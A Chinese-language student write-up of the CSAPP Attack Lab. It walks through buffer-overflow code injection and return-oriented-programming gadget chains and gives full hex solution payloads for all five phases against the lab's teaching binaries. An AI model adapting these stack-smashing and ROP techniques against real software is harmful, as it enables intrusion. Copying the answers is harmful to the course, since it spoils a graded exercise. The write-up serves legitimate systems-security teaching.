简介

这是CSAPP这本书的第三个实验,实验所需要的材料在 CSAPP3e

这个实验分为两部分,第一部分是代码注入实验,主要是通过Gets()函数的堆栈溢出传入指令,然后跳转到指定位置执行的方式来实现执行指定指令;第二部分是ROP实验,因为这里采用栈随机化和堆栈不可执行所以代码注入失效了。ROP利用截取已知某指令序列来创建目的指令的方法来实现的,其中在实验中可利用的指令序列限制为farm.c生成的部分,通过Gets()函数的堆栈溢出传入一系列指令地址和数据实现。

Code injection attacks

Phase 1

实验目的是test()函数调用getbuf()后执行touch1()函数而不返回test(),所以这里用touch1()的地址覆盖掉test()的地址就可以。getbuf()里面分配了0x28个字节栈空间,所以这里把栈顶的0x28个字节覆盖掉,在末尾添加touch1()的地址就可以了。需要注意字节顺序。

1
2
3
4
5
6
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00 /* 0x4017c0 即为touch1()起始地址*/

Phase 2

实验目的是test()函数调用getbuf()函数后执行touch2(unsigned val)函数,touch2()函数是需要有参数(cookie值)的,所以在执行touch2()之前传入参数到%rdi,这是就需要注入代码了。

1
2
3
4
5
48 c7 c7 fa 97 b9 59       /* mov $0x59b997fa,%rdi 传入cookie值*/
68 ec 17 40 00 /* pushq $0x4017ec touch2地址*/
c3 /* retq */
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 /* 填充 */
78 dc 61 55 00 00 00 00 /*栈内指令起始地址 */

Phase 3

这里需要执行touch3(char * sval),这里的参数是cookie的字符串的起始地址。touch3()通过调用hexmatch()来校验cookie(),这里尤其要注意字符串存放的地址,因为touch3()和hexmatch()会使用堆栈需要避免字符串位置被覆盖。我这里把字符串存到了hexmatch()函数的堆栈内。通过看hexmatch()的反汇编代码可以发现该函数分配了0x80(128)个字节的栈空间给自己使用(pushq占用的未计算),栈底部的8个字节存放的canary值来避免堆栈溢出所带来的危害,顶部的110个字节来给buf变量使用,所以我就把cookie的字符串存到了中间10个字节里。

1
2
3
4
5
6
7
8
9
10
11
50                       /* pushq %rax */
48 c7 c7 69 dc 61 55 /* mov $0x5561dc69,%rdi 把字符串的起始地址村放入rdi */
48 b8 35 39 62 39 39 /* movq $0x6166373939623935,%rax */
37 66 61
48 89 07 /* movq %rax,(%rdi) 把字符串存放到指定位置*/
c6 47 08 00 /* movb $0x0,0x8(%rdi) 在字符串末尾添加'\0' */
58 /* popq %rax 没有必要保护%rax好像。。。*/
68 fa 18 40 00 /* pushq $0x4018fa touch3()地址入栈*/
c3
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00

Return-Oriented Programming 面向返回编程

Phase 4

这里是利用ROP来实现Phase2的内容,这里只需要传入cookie值和相应指令在栈就好。限制只能使用movq,popq,nop,ret指令

1
2
3
4
5
6
7
8
9
10
栈顶
popq %rax 0x4019ab

cookie 0x59b997fa

movq %rax,%rdi 0x4019a2

touch2 addresss 0x4017ec

栈底

所以可以得到以下

1
2
3
4
5
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30   /* 填充 */
ab 19 40 00 00 00 00 00 /* popq %rax */
fa 97 b9 59 00 00 00 00 /* cookie */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
ec 17 40 00 00 00 00 00 /* rouch2 */

Phase 5

实现和Phase3一样的效果调用touch3(char * sval)。因为需要传入字符串地址,所以这里有一些难。通过对farm段指令代码分析可以得知有以下可以利用的指令

1
2
3
4
5
6
7
8
9
movq %rsp, %rax
movq %rax, %rdi
popq %rax
movl %eax, %edi
movl %eax, %edx
movl %ecx, %esi
movl %edx, %ecx (后边有不相关指令粘连)
movl %esp, %eax
lea (%rdi, %rsi, 1), %rax (这是至关重要的,这个是原来就存在的指令不是截取的)

所以可以通过rsp+offset的方法确定字符串位置。rsp由movq传递。movl传递offset,因为movl会清零高四字节的内容所以不必担心会有影响。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
栈顶

movq %rsp, %rax 0x401a06

movq %rax, %rdi 0x4019c5

popq %rax 0x4019ab

offset 0x48

movl %eax, %edx 0x4019dd

movl %edx, %ecx 0x401a69sval

movl %ecx, %esi 0x401a13

lea (%rdi, %rsi, 1), %rax 0x4019d6

movq %rax, %rdi 0x4019c5

touch3 address 0x4018fa

cookie string 0x6166373939623935

栈底

由分析可知字符串位置安全不会被干扰。由此可得以下答案。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00